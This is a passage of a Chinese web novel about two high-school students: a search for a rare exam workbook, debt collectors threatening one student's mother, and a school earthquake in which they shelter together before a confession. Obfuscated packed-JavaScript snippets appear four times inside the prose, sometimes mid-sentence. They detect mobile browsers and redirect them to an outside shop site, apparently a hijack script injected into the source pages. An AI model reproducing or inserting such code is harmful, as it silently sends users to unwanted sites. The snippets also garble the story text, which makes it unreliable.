孔昊英眼神躲闪:“就,烟的事……” 烟的事? 周窈反应了几秒,想起来昨天在班会课上以一己之力拯救了她和顾彧的那位“义士”,又随之想起在顾彧家楼下看见孔昊英抽烟的事…… “哦,那包烟是你的?” 孔昊英瞪大眼睛:“你不知道?!顾彧没跟你说?!” “他为什么要跟我说?” “MD!”孔昊英这才觉察到自己上了顾彧的当。 周窈眼珠子转了转:“但我现在知道了,所以你找我就是要问我有没有把你抽烟的事告诉史芬?” 孔昊英抬头,眼神惶恐不安,又暗含些期待:“那,你会告诉史芬吗?” 周窈定定地看了他两眼,随即耸了耸肩:“我跟你无冤无仇,干嘛要去干这种得罪人的事。”说罢,她一脸不耐烦地伸手将孔昊英拨开:“别挡我财路,鸡排该卖完了。” 一个“无冤无仇”,将孔昊英钉在原地几分钟。 他没想到,顾彧既没告诉周窈那包烟是自己的,也没告诉她,两次举报她的人,都是自己。在周窈眼里,自己依旧是那个天天嚷着要考过她,却每次都成为她手下败将的那个万年老二。 当然,也有可能周窈根本不在意自己的分数有没有超过她…… 一股挫败感袭来,孔昊英垂着肩膀,默默回到教室。 顾彧倚在走廊栏杆边,看着那两人在楼梯口说了几句话,而周窈无事离开之后,便也溜溜达达回了教室。 所谓对手,自要两人旗鼓相当才能称之为对手。若其中一人从未把另一人放在眼里,还叫什么对手? 七八分钟后,周窈拎着大包小包回教室,不出三秒就被人围了个水泄不通,等东西分发完,人群散开,才看见坐在座位上闷闷刷题的顾彧。 周窈不动声色地走近,将一盒巧克力牛奶放在他桌角。 顾彧不解地抬头。 周窈:“弄脏你校服,害你扣分,对不起。” 顾彧愣了一下,随即拆开吸管,语气有些别扭:“我是生这个气吗?我是气你早上我被值日生拦下的时候,你丢下我一个人跑了。”他嘬了一口牛奶,然后接着数落:“生平第一次被扣分,始作俑者竟然丢下我自己跑了……” 周窈翻了个白眼:“差不多得了,一个人也是丢脸,两个人也是丢脸,那当然是一个人丢脸划算啊。” “你还狡辩!没想到你是这样不讲义气的周条条……” “周窈!”话音未落,谭欣从外面跑进来,手里拿着张纸。“你是不是想考冬令营啊?我拿了报名通知。” 说着,她将手里的那张纸摊在周窈的桌上。 周窈凑近一看,还真是报名通知,选拔考试报名截止日期就在下周末。 她一脸惊喜地望向谭欣:“这哪来的啊?” “刚刚在灭绝的办公桌上看见的,我就帮你印了一份。” 代薇子大惊:“厉害啊,这你都敢啊!” 谭欣挥了挥手,仿佛这事不值一提:“你抓紧时间报名吧,最好是跟史芬打声招呼,我听说最后还是学校统一上报的。” 周窈连连点头:“好啊,谢谢你!”说完,她头都不抬一脸欣喜地望着手里报名通知。 前排的孟初之也转过身来为她出谋划策:“听说选拔考试难度很大,是我们平时考试难度不能比的,你最好找点竞赛题做做。” 竞赛题…… 周窈犯了难,她没参加过竞赛培训,也不知道该买哪些参考书,要不问问顾彧? “喂。” 周窈扭头,就见孔昊英别别扭扭蹭过来。 想起刚刚在楼梯口的那一番交谈,周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13672912|141717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 窈瞬间也没了好脸色。 “有事?” 孔昊英也不答,只磨磨蹭蹭将一张小纸片递给周窈,周窈接过一看,上面写着的好像是一本参考书的名字。 “《陈敏学培优私题库》?” 边上代薇子恍然:“陈敏学是宁市那个特级教师吗?中考考完以后,我爸特地带我去听过他的讲座!” “嗯。”孔昊英点了点头:“他是夏令营和冬令营的主讲老师,也是主要出题人,这套参考书也是他主编的,收录了他历年出过的一些经典例题,难度和思路跟冬令营的选拔考试差不多,你如果能找到这套书,成功几率大一点。” “你手上有吗?可以借我复印吗?” 孔昊英语塞,随即他叹了口气,像是放弃挣扎一般:“我根本就没考上夏令营,我家里走了后门把我塞进去旁听的,所以我手头上也没这套书。而且这书,向来是宁中的‘秘密武器’,一般不外传的。你如果有认识的人在宁中,可以问问看。”说完,他头也不回地迅速回到了自己的座位上,生怕周窈再开口叫他似的。 “见鬼了,学委今天怎么这么乐于助人了?” 周窈想了想:“大概,他有把柄落在我手上了吧。” 几乎一整天,只要周窈有空,她都会掏出手机,点开购物网站,开始搜索这套书,不管是淘宝还是咸鱼,都快被她翻烂了,也没看到这套书的影子,甚至连这书封长什么样,她都不知道,而且她也不认识什么宁中的人…… 好消息,她有了冬令营的报名方式,坏消息,她可能在选拔考试环节就被刷下来。 这周又轮到他们小组做值日,然而一向勤快的周窈,却是摊在座位上,一动都不想动,甚至长吁短叹。 顾彧擦完黑板就看见她瘫在那,便走过去问:“不舒服?” 周窈抓了抓头:“没有。”然后拿起孔昊英给她的那张字条问:“你见过这套书吗?” 顾彧仔细看了两眼:“没见过。这套书很有用?” “嗯。”周窈点头:“孔昊英说,这书里的题目难度和冬令营选拔考试难度持平,但是我把淘宝都翻遍了,也没找到。搞不好还真是人家宁中的祖传秘籍吧……” “这老师是宁中的?” “好像是的。” 顾彧摸着下巴,皱着眉头想了一会。 周窈以为他有什么好点子呢,等了好久才听他说:“你先起来把值日做了,一会我们去书店看看。” “什么呀,你捎带手就做了不行吗?每次都是我干最多……而且网上都没有,舟市这些小破书店怎么可能会有啊。” “那不一定。”说着,顾彧就抓着周窈的手臂试图把她拽起来:“起来,如果书店没有,我就请你吃肯德基。” “肯德基?真的?那我想要全家桶!”周窈眼睛亮了。 “你吃得下么,就全家桶……”但顾彧转念一想,又问到:“但是你妈今天……” 周窈兴冲冲掏出手机:“我跟她说一声就行,只要在七点之前能回家,她不会有事的!” 笑话,天底下还有比白吃更重要的事吗?! 57. 你也有今天 书店里自然是没找到这套参考书的,但周窈依旧美美吃了一顿肯德基,然后踩着下班高峰期和顾彧一前一后进了小区门。 然而刚拐了弯往自家方向骑去,周窈远远就看见自家楼下似是围了几个人,当下心脏就开始砰砰狂跳。 她加快了速度,到楼底下就发现陈娟被人推到在地,四个带着那瘦猴和其他几个没见过的小喽啰围着她站着,周围有路过的邻居,看这架势,也不敢上前,匆匆回家将门都关得紧紧的,空气里隐约有各种议论声飘来。 周窈来不及多想,把自行车往边上一放,三两下蹿过去,张开手臂挡在陈娟面前,纵然自己也怕得发抖,但依旧瞪大眼睛怒视着那位四哥。 “你们干嘛!” 四哥舔着后槽牙,吊儿郎当:“你问问你妈,这个月钱,拖到现在都没还。我已经很好心给她宽限时间了,怎么的,当我们开慈善机构的啊?” 说着,他一副流氓做派地伸手在周窈脸上拍了拍。 见周窈挨打,顾彧也赶紧冲了上来,只不过刚走到跟前就被周窈拽住了。 “你先回家。” 顾彧自然不肯,周窈又拽了他一下。 “没你事,你先回去。” 顾彧稍往后撤了一下,但依旧伸手牢牢护着周窈。 四哥吊着眼睛在他俩之间来回游走了几圈,要笑不笑地扯着嘴角道:“哟,咱妹妹到了谈恋爱的年纪了哈,一晃眼的,都这么大了……” 顾彧冷声:“我报警了。” “哟呵!”四哥仿佛听到了什么笑话,看向顾彧的眼神里满满都是嘲讽他的自不量力:“怎么着,现在还真是欠债的成大爷了是吧,我们合法合理催债,你要报警?” 说着,他拎了下裤子蹲在陈娟面前:“上次跟我怎么保证的?是不是说半个月后还两倍?钱呢?!你吞了?” 陈娟战战兢兢:“对不起对不起,钱我筹到了,马上就还,马上就还!” “最好是!明天中午十二点这钱没到账,我可就要来收房子了啊。”说着,他起身带着小弟们要走,边走边念叨:“嗐,这年头债可不好催啊,骂不得动不得,还得供起来,让她好好工作还钱,艹他妈的!” 周窈看着那一群人的身影消失在路口,这才松下一直紧绷着的肩膀。 这个月初对方没上门,她还以为陈娟如期还钱了呢,没想到并不是这么一回事。 “阿姨,没事吧?”顾彧伸手,将陈娟从地上拉起来。 陈娟拂了下凌乱的头发,讪笑着:“对不起啊小彧,让你看笑话了。” “没事。”顾彧说着,又扭头去看周窈,而周窈只是面色黑沉,沉默着和顾彧一起将陈娟扶回了家,然后小声说了一句“我找顾彧说两句话”,又拽着顾彧走到了楼边的弄堂里。 顾彧见她脸色不好,以为是她刚刚吓着了,可一句“没事吧”还没问出口,就被周窈一巴掌拍在手臂上。 “叫你走你怎么不听啊!” 顾彧愣了一下:“我走了你怎么办?” “你!哎!”周窈急得叹了口气:“那帮人都不是好惹的,你不怕他们报复你啊!” 顾彧笑了笑:“现在不都法治社会么,而且我又没欠他们钱。” “你——你是没欠钱,但是……”但是对方很有可能会因为他和自己家的关系而去骚扰他…… 只是周窈到底要脸,面对着顾彧她说不出这些话,到最后,也只模模糊糊地说了一句:“怕以后会牵扯到你……” “怎么会。”顾彧倚着墙壁,屈腿站着,看起来不甚在意。 周窈知道他根本没听进去,一面担忧,但一面也安慰自己,自己和陈娟都还在呢,不至于就牵扯上顾彧,但以防万一,她还是再次强调:“以后我叫你走,就得走,不然我更担心。” 顾彧见她一脸认真,也收起刚才那副吊儿郎当的样子,郑重地点了点头:“行,听周老师的。” 和顾彧说完之后,周窈独自回了家,刚进门就看见陈娟坐在沙发上揉她的脚踝,估计是刚刚跌伤了。 周窈二话没说,熟门熟路地从玄关抽屉里拿出一瓶红花油,倒在手上然后手法熟练地往陈娟腿上抹去。 陈娟小腿上原先的淤青好了,但又有新的青紫,不知道是在哪撞的。 “哎哟,你轻点。”陈娟小声惊呼。 周窈收了些力道:“他们今天怎么又上门了?你不是才问外婆拿了钱?上个月都没怎么休息过,就没钱了?” 陈娟眼神躲闪,支支吾吾:“哦,那我就没点要用钱的地方啊?你个小孩,还管到你妈头上来了。” 周窈自小和陈娟在一起生活,自然能看出她言语和神情间的不自然,眉头倏地就皱了起来,一个荒谬的念头在她脑海中成型。 她停下手中的推拿,站起身来盯着陈娟,克制着自己此时的心情,尽量平静地问她:“是不是周建民又问你拿钱了?” 陈娟没想到周窈会如此敏锐,一时间也不知该如何作答,只低着头揉着脚踝不说话。 这便是默认了。 周窈无语地抬头望向天花板,却被头顶的灯光晃得头晕目眩。 世上怎么会有这么离谱的事,怎么会有这么离谱的爸妈,还他妈的都被她遇上了! 她此时再难以保持平静,喘着气叉着腰,像是撒不出火似的在客厅里乱转:“你怎么还会给他钱啊?!事到如今你竟然还会相信他!舅舅和外婆都跟你断绝关系了,你还不清醒吗?!周建民上辈子是不是救过你的命啊?!” “说什么呢,你的命都是他给的。” “我宁愿他不要生我下来!我宁愿在人生中第一次比赛里没有跑赢!” 如果她知道自己的人生会是这个样子,在投胎那会她就该掉头就走! “说什么瞎话。”陈娟自己拿过红花油往手心里倒:“你爸说他这次遇见了个好项目,就差这么几万块钱做投资,只要项目做成了,不仅咱们家的债务能还清,还能有钱在杭市买套房子,送你去杭市读书。” 周窈斜眼冷哼:“他又骗你说他在杭市了?” 陈娟低头:“啧,怎么说话呢。他说暂时在杭市落脚,那里机会多。” “也就你会相信吧,谁知道他现在和哪个小三小四小五小六拿着你给的钱在哪潇洒呢……” “砰!” 红花油应声而碎。 刚刚还一脸憧憬的陈娟此时瞪大了双眼,紧绷的嘴角微微颤抖,大声反驳着周窈的猜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13687415|141717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 测:“不会的!你爸不是这种人!” 周窈无声讥讽,不再跟陈娟辩驳,而是蹲下身捡起被摔碎的红花油,默默打扫干净。 她已经疲于和陈娟争辩了,未来也不会再劝她,因为她有更重要的事要做,比如考大学。 于此同时,墙壁的另一边,顾彧正靠在床头,划拉着他的通讯录列表。 他隐约记得,初中时有一位同学转学去了宁市的,听说成绩还不错,考到了宁高,但是谁来着? 想了想,他试着敲了其中一位初中同学的头像。 【顾^^彧:Hello,在吗?】 不出三分钟,对面很快回复。 【有守约六分投:我去,顾彧?!真人?!】 【顾^^彧:是我,有件事想问下你。】 【有守约六分投:你说你说!】 【顾^^彧:我记得以前咱们班有个同学转学去宁市了,你记得是谁吗?】 【有守约六分投:……】 【有守约六分投:不是吧,这你都忘啦?对方可是把你当做一生的对手来着,你竟然把他忘得一干二净?!我要是他,我真的会崩溃的。】 【顾^^彧:[思考]】 【顾^^彧:所以他是谁?】 【有守约六分投:……范兴阳啊。】 顾彧摸着下巴想了想,还是没能想起来。 【顾^^彧:他是不是考上宁高了?】 【有守约六分投:是呗,中考结束后他爹妈特地回来包了悦阁饭点给他庆祝呢,排场超大,咱们初中的班主任也邀请去了。】 【有守约六分投:你有事找他啊?】 【顾^^彧:嗯,你有他联系方式吗?可以推我吗?】 【有守约六分投:等下我翻翻,我也很长时间没和他联系了。】 【有守约六分投:[分享名片]】 顾彧看了两眼对方推过来的好友链接,想也没想,发了申请好友。 【有守约六分投:你真要联系他啊?我可提醒你啊,他对你态度可算不上好,以前因为考不过你,没少在背后酸你。那次他考上宁高回来摆酒席,是不是还邀请你了?不过你没去,他还酸说是因为你没脸去。】 有这事? 中考结束后,他们家忙着搬去海市,虽然最后他没跟着一起走,但前期也帮着张罗了不少,加上还要搬到奶奶家来住,哪有时间管这些事。 【有守约六分投:他肯定想不到你都不记得他了,笑死,那会天天念叨着既生瑜何生亮来着。】 顾彧轻笑一声。 【顾^^彧:谢谢你,我确实有事找他,先不说了。】 【有守约六分投:哦哦好,你先去忙吧,有空一起玩游戏啊。】 【顾^^彧:好的。】 “咳咳。”提示音响起,范兴阳很快通过了顾彧的好友申请。 【范兴阳:?顾彧?】 【顾^^彧:你好。】 【范兴阳:找我有事?】 【顾^^彧:是,想问下你,你手里有没有《陈敏学培优私题库》?】 【范兴阳:……】 【范兴阳:顾彧,你也有今天啊?】 顾彧:? 58. 地震 【范兴阳:以前都是我们问你要学习资料,现在竟然反过来了,听说你在舟市一中?】 【顾^^彧:对。】 【范兴阳:你要这套书干什么?你也要考冬令营?】 顾彧想了一下,没说实话。 【顾^^彧:想看看冬令营的难度。】 【范兴阳:啧,想不到你还有求我的一天。】 【顾^^彧:……就当是求你吧。】 【范兴阳:你知道这套书我们学校是不外传的。】 【顾^^彧:我不会说是你给我的。】 【范兴阳:……我倒不是这个意思,你总得拿点什么东西来换吧?】 【顾^^彧:你想要什么?】 【范兴阳:你是不是有J5D的限量模型?那这个来换吧!】 顾彧闻言一怔,随即扭头望向边上的玻璃柜,最中间那格,端端正正放着一架银白色飞机模型。 那是一款老旧的机型,已经被淘汰了,在一众尖端机型里显得十分落后,但这并不妨碍顾彧对它的喜爱,因为它的诞生,具有里程碑式的意义,是新时代的开端。 但正因为它具备如此巨大的意义,又是古早的机型,导致现在在收藏市场上,已经很难寻到了。他手里这架,还是通过他爸托人给他弄到的。 范兴阳也有收藏航模的兴趣吗?而且点名就要这架J5D…… 似是觉察到了他的犹豫,对面的范兴阳又添了一把火。 【范兴阳:我们学校这套教材,我保证你在市面上是寻不到的,毕竟它也算是我们学校的独家秘笈了,谁也不希望自己所在的独木桥上挤太多人吧。】 这是实话,高考向来被誉为千军万马过独木桥,平时大家看似一个班,但实际上都是竞争关系,偶尔连考试分数都藏着掖着,手里有这么优质的辅导书,自然也不可能声张,更不可能与别人分享了。 毕竟差一分都有可能滑档,谁都不希望做那个被挤掉的人。 顾彧将那架J5D从玻璃柜里拿出来,小心翼翼的放在手心摩挲着,又紧闭双眼念了好几句“身外之物”,这才像下定决心似的。 【顾^^彧:行,你把教材发来,告诉我快递单号,我把模型发过去给你。】 【顾^^彧:[图片]】 【范兴阳:哇塞!你这是大出血啊!教材我自己也要用,所以我只能把复印件给你,明天复印完我就发出来。】 【顾^^彧(心在滴血版):行。】 【范兴阳:你放心,我会好好对它的。】 【顾^^彧(心在滴血版):记住你说的话。】 “滴滴!” 【蒋蒋蒋蒋:哇顾神你怎么啦!你怎么心在滴血啊!出什么事了?!】 【顾^^彧(心在滴血版):闭嘴,不要管我,让我死了吧……】 / 因为陈娟欠债又给周建民钱的事,周窈气得一晚上没睡着觉,第二天起来头昏脑涨,早自习也浑浑噩噩,一篇课文十五分钟了别说背了,读都读不通顺。 代薇子看了她一眼:“你没睡好啊?” 周窈点了点头:“头晕眼花想吐。” 代薇子一点都不觉得意外:“熬夜综合征。要不你先眯一会吧,要是史芬来了我叫你。” 周窈想想也好,她却是也是头晕眼花熬不住了,现在偷一小会懒,总比浑浑噩噩一上午的好。于是她就毫无心理包袱地趴下了,耳边都是背课文和说小话的白噪音,周窈很快就迷迷糊糊地睡着了。 朦胧间,突然感觉自己被谁晃了一下。 想着是不是老师来了?挣扎着想睁眼,起码得装着像是在认真学习的样子吧,脚下又是猛地一晃,随即她就被人抓着手臂踉踉跄跄给拽了起来。 她还以为自己睡觉被老师抓着了呢,就听顾彧高声大喊:“地震了!往操场上跑!” 地震? 周窈这才清醒过来,反手拉住了顾彧拽着她衣领的手臂。 教室里瞬间乱了套,走廊上也是一片闹哄哄的,史芬今天早自习没来,隔壁班的班主任跑出来朝他们班大喊,让所有人有序且迅速地下楼到操场上集合。 舟市从来就不在地震带上,祖上三代都没遇上过地震,警惕性四舍五入约等于没有,于是班级肉眼可见的乱作一团,所有人都往前门挤——因为前门离楼梯近。 顾彧握紧周窈的手,另一只手则放在她背后,一边护着她一边推着她往前走。 不止他们班,别的班也都在往楼下冲,所有人都挤在楼梯口动弹不得,慌张之中好像他们往前冲了好久,但抬头一看还卡在班级门口,而面前是乌泱泱的人头。 有学生慌张之下甚至想往楼下跳,被隔壁班班主任给抱了下来。 “都别慌!别慌!” 她竭力控制着秩序,但声音很快被哭声和叫喊声湮没。 更吓人的,是一楼的楼梯出口处,乌央乌央全是从楼里逃出来的学生,幸好有保安前来疏散,才没造成危险的后果。 逃出来的学生全部拼命朝空旷的操场跑去,很快就汇聚成一小滩。 看到有人逃生成功,楼上这些还挤在教室和楼道里的人,更不淡定了,人群也越发拥挤。 教学楼还在不规则的摇晃,周窈紧紧攀着顾彧的手臂,才堪堪稳住自己的身形。 “你先出去。”顾彧伸手推了一把周窈。 “那你呢?!”还没等顾彧有所回应,周窈便瞬间被人流卷走。 这庞大的人流,行动根本由不得自己。周窈扯着脖子往后看,就见顾彧被人群挡在外面,还站在教室门口。周窈想去拉他,伸手却抓了个空,只能看着人群将他们越挤越远。 剧烈的晃动依旧没有停止。 周窈心慌得不行,一边是求生的本能,一边又害怕顾彧掉队,于是频频向后回头,只要能确认顾彧跟在后面,她就能安心一些。 “救命!有没有人啊,救救我!” 眼见着已经要踩上下楼的台阶了,尖利的哭喊突然从后方传来,但此时周遭早已被各种哭喊声和脚步声充斥,所以起先周窈还以为自己听错了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13699750|141717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “救命啊!救救我!有没有人啊!我被卡住了!呜呜呜呜!” 少女哭得声音嘶哑,每一个字都透露着绝望和无助。 “我不想死啊,谁来救救我……” 周窈自认没有什么救世主情节,但她亦不想做一个见死不救的人……来不及思考,她转身往反方向挤去。 “阿周你干什么!”边上的蒋煜想伸手拽她,却也拽了个空。 “周窈!周条条你干什么去!”顾彧眼见地看见了她的逆流而行,但人群挤得他动弹不得,只能望着周窈的背影急得额头冒汗。 求生的爆发力是很可观的,周窈费尽全力也不过刚挤回到楼梯口这短短距离而已,她用力扒着墙,保持自己不被人流挤走,然后挣扎着往前,好在后面也没多少人了,她相对轻松地回到九班教室门口。 “有没有人啊……呜呜呜呜……”求救的哭喊已经变成了绝望的喑哑,周窈扒着门框往里看,就见荣子涵被几张书桌椅困在中间动弹不得,她的脚好像也扭伤了。 她抬头看见周窈折回来,立刻求救:“周,周窈,你救救我,我动不了……求求你了……”求生的欲望让平日里的小公主都放下骄傲低头求人。 周窈看了一眼那些交叠在一起的课桌椅,显然是刚才剧烈晃动加上学生逃窜,这些桌椅被推来推去,别在了一起,以至于困住了荣子涵的出路。 此时晃动渐停,周遭有一瞬间的静默。 周窈抓紧时间冲进教室,试图推开挡在荣子涵身前的那些课桌椅。 “你别慌,现在不晃了,我把桌子推开,你把椅子搬走,还能站起来吗?”她语速快而冷静,连带着荣子涵也止住了哭泣,在周窈的指示下扶着桌子站起来,然后搬开一直压着她脚的倒下的椅子。 很快,两人就合力清出了一条逃生通道来。 “快点出来。”周窈伸手拉她,趁着现在不晃,像刚刚顾彧推自己一样,将荣子涵推了出去。 看见了生的希望的荣子涵拖着崴了的脚一步一趔趄地跑得头也不回。周窈正要跟上,然而另一波晃动迅速来袭,竟比刚刚还要剧烈,而她,则在教室里独自重演了刚刚荣子涵的绝望境地。 刚被搬开的桌椅,在剧烈晃动下又混作一团,周窈躲避不及,被滑动的桌角撞到胯骨,顿时痛得直不起腰来,眼角流下了生理性的泪水,而那些不受控制的桌椅甚至将她牢牢钉在中间,半点动弹不得。 周窈扶着椅背堪堪站稳,忍受着胯骨处传来的钻心的疼痛,心想着今天不会就这么交代在这吧。 好歹她也算救了荣子涵一命,能不能下辈子让她投胎做个富家千金,吃穿不愁,还能享受一流的教育资源? 其实她也挺想弹钢琴来着,也自己拿着字帖偷偷练过字…… “周窈!” 嗯?幻听? 抬头朝门边看去,天摇地动中,有一个瘦高人影义无反顾地向她冲过来,然后像是爆发了什么怪力似的,将困住她的那些桌椅统统推到一边。 我的救星来了啊,周窈心想。 59. 死里逃生 等周窈回过神来时,她已经被来人塞进了讲台下面。 周窈有些发懵地看着眼前这个去而复返的人,看他裸露在外的小臂因为牢牢把着讲台的两边而青筋暴起,而自己则被他护在了一个相对安全的区域内。 “你怎么回来了?” “你别说话。”顾彧死咬着牙,生怕自己下一秒就要骂人,他都快要被周窈气死了,好不容易把她推出去,她自己又跑回来。 “我那是听到荣子涵求救……” 顾彧瞪她,抬高了音量:“你自己安全了吗就想着救别人?!” 周窈垂头,无话可说。 她何止自己不安全,连带着害得顾彧也陷入危险之中。 又一阵剧烈晃动袭来。 周窈赶紧抓住顾彧的手臂,试图把他也拖进讲台下这个狭小空间里来。 但顾彧却没动。 “你进来啊!”周窈急得快哭了,头顶上的挂灯在剧烈晃动,原本钉在墙上的国旗早就砸了下来,一地碎玻璃,而顾彧还暴露在这样的危险环境里。 “现在知道哭了?刚刚不是还很勇敢?”顾彧声音微微发抖,但努力保持轻松。 周窈这才发现,顾彧其实也在害怕,他的手臂在抖。 眼泪突然夺眶而出。 “完蛋了,我们真的要死在这了……” “周条条。” “嗯?” 泪眼朦胧间,她好似看到对面的男生笑了一下。 “跟你死在一起也挺好的。” 也不知道这句话有什么魔力,反正周窈渐渐的平静了下来,她擦干眼泪眼睛一眨不眨看着顾彧,或许这真的是他们生命的最后一刻了,她想在死前也能清楚地看着他的脸。 “看我干嘛?”顾彧问。 周窈抽了抽鼻子,瓮声瓮气又带着点狠劲:“得记住你的样子,不然一碗孟婆汤就忘了。” “傻乎乎的。”顾彧想伸手去揉她的头,但想了想还是紧紧把住讲台的两侧没松开。 死前不能抱抱她,可真遗憾。 生死煎熬的每一秒都被拉长,他们俩就蹲在这小小桌洞中,你看着我我看着你,等待着死亡降临。 但好消息是,天崩地裂并未到来,摇晃停止了。 他俩不敢轻举妄动,就还是保持着原来的姿势,直到史芬出现在教室门口。 “你们——还好你们没事!赶紧出来!快点快点!” 顾彧拉着周窈出来,史芬一边拉一个,小跑着带着他们下了楼,等到了安全的空旷地,她转过身来将两人紧紧搂进怀里。 “谢天谢地你们俩没事!谢天谢地!哎哟菩萨保佑!”言语里带着哭腔,厚重的圆镜片下,早已泪流满面。 周窈十分感慨,面对学生铁面无私刚正不阿,每次考试看他们在拜“文曲星”都要吼两嗓子“早干嘛去了”的史芬史老师,如今也要感谢菩萨保佑了。 想到这里,她伸手拍了拍史芬的背,安慰道:“史老师,我们没事,都好好的呢。” / 地震看似停歇,但谁都不知道还会不会有余震,所以学校也不敢放学生回到教室,更不敢让他们回家,就统一在班主任的带领下,在操场划区域原地休息。 也是头一次,学生们在老师的眼皮子底下被允许用手机给打家里打电话,没有被人阻止,甚至史芬又“冒险”回办公室拿了她的手机来给学生们打电话。 此时网上新闻也出来了,是因为长江中下游地区地震,连带着舟市也有了较重的震感,但因为是被波及,所以没有造成太大的影响,政府已经在组织抢险救灾了,一切井然有序。 顾彧给何茜华打电话报了平安,回头就看见荣子涵抱着周窈在哭,哭得直打嗝。 “我以为你跟在我后面,就自己先跑了,你怎么没出来啊!你要是有什么事我也别活了!哇——” 周窈拍拍“勒”在自己勃颈上的手臂:“我没事,咱们有惊无险……” □□子涵还在哭:“那是幸好没事,我在班里哭了那么久,就你一个人回来救我……” 边上蒋煜附和:“这可真是患难见真情,你看那个朱鑫纬,仗着自己坐在门边上,头一个就跑了,真就是一溜烟!我下楼的时候他都在操场上站了有一会了!而且吓得脸都白了,真TMD,就差没尿裤子了!” “别跟我提他!”荣子涵扭头眼一瞪:“我现在才算明白了,什么叫大难临头各自飞!我在里面叫了那么多声,他压根都没回头看我一眼!男人没一个靠得住的!” 周窈扭头看了眼站在边上的顾彧:“那还是有能靠得住的……” 安抚完遭到身心灵双重打击的荣子涵,周窈接过顾彧递过来的手机,打算给陈娟报个平安。 按下记忆中的电话号码,等了好久才接通。 “喂?谁啊?” “妈,是我。” 对面停顿了一下,似乎是去确认来电显示了:“条条?你怎么用这个号码打过来?” 周窈解释道:“是顾彧的电话,我借他电话给你打的。刚刚地震了,所以……” 话还没说完,陈娟那边就被一阵嘈杂打断,隐约能听到她在抱怨什么,过了许久,她才又对周窈说道:“哎哟我知道地震了,刚刚给老太太洗澡,水洒了一地,尿盆也打翻了,我正收拾呢,不跟你说了。哦对了,你放学记得去门岗拿纸箱。” 说着,陈娟匆匆挂了电话。 周窈听着耳边的忙音,抬头看着边上同样正在跟家通话的同学们,有的死里逃生手舞足蹈,有的受到惊吓还在抽噎,但没有一个像是周窈和陈娟这样,漠不关心。 也是,她们现在的生活,或许根本无法体会什么劫后余生,地震结束之后,她们要面对的,依旧是还不完的债务。 这样的日子,或许真的死了才好。 “怎么了?”顾彧见她神色不对,歪头看她。 “没什么。”周窈摇了摇头,自家这点烂事,她并不想让顾彧知道,虽然他已经知道不少了…… 正想把手机还他,手机却突然震了一下,她奇怪顾彧什么时候竟然也设置震动提示了,但又怕是什么紧急消息,赶紧将手机递还给他。 顾彧接过一看,是范兴阳的消息。 【范兴阳:你们那是不是也地震了啊?我们这边震感好严重!】 【顾^^彧(心在滴血版):嗯,我们现在都在操场上呢。】 【范兴阳:我们也是,这大清早的……】 【范兴阳:我早上已经把书给你快递过去了。】 【范兴阳:[图片]】 【范兴阳:这是单号,不过受这次地震影响,可能物流会晚几天。】 【顾^^彧(心在滴血版):没关系,等我们这边物流恢复了,我就把模型寄给你。】 【范兴阳:行。】 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13707176|141717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >回完消息,发现周窈还站在自己身边,便问:“怎么了?看起来不开心啊……” 周窈抬头,问他:“你刚刚为什么又回来?” “那时候你又为什么进来?” 顾彧答非所问,周窈却听懂了,他指的是煤气中毒那次。 周窈望向顾彧,纵然刚才兵荒马乱,可这人的帅气半点没打折扣。 想起他刚才像神兵天降似的出现在自己眼前的那一幕,周窈眼神坚定并字句清晰地说道:“顾彧,我能追你吗?” 顾彧怔了一下,随即他伸手揉了揉周窈的头,刚刚在教室里他就想这么做了。 他说:“那你追追看?” / 原想着地震了或许能放个一两天的假,结果并没有。 地处以卷出名的东部考区,加上一中的buff,第二天早上七点半,大家如期在早自习相见。 周窈和顾彧一前一后进了教室,昨天刚表白过,周窈现在看什么都觉得尴尬,早上在楼下看到顾彧的时候差点同手同脚。 刚坐到位置上,就听见身后蒋煜的大嗓门喊着:“哎,昨天下午……” 周窈一个激灵,差点没从座位上窜起来:“昨天下午怎么了?!” 蒋煜望着她一脸懵逼:“啊……昨天下午没布置作业吧?” 原来是这事…… 周窈偷偷吁了一口气,低头翻自己的书包。 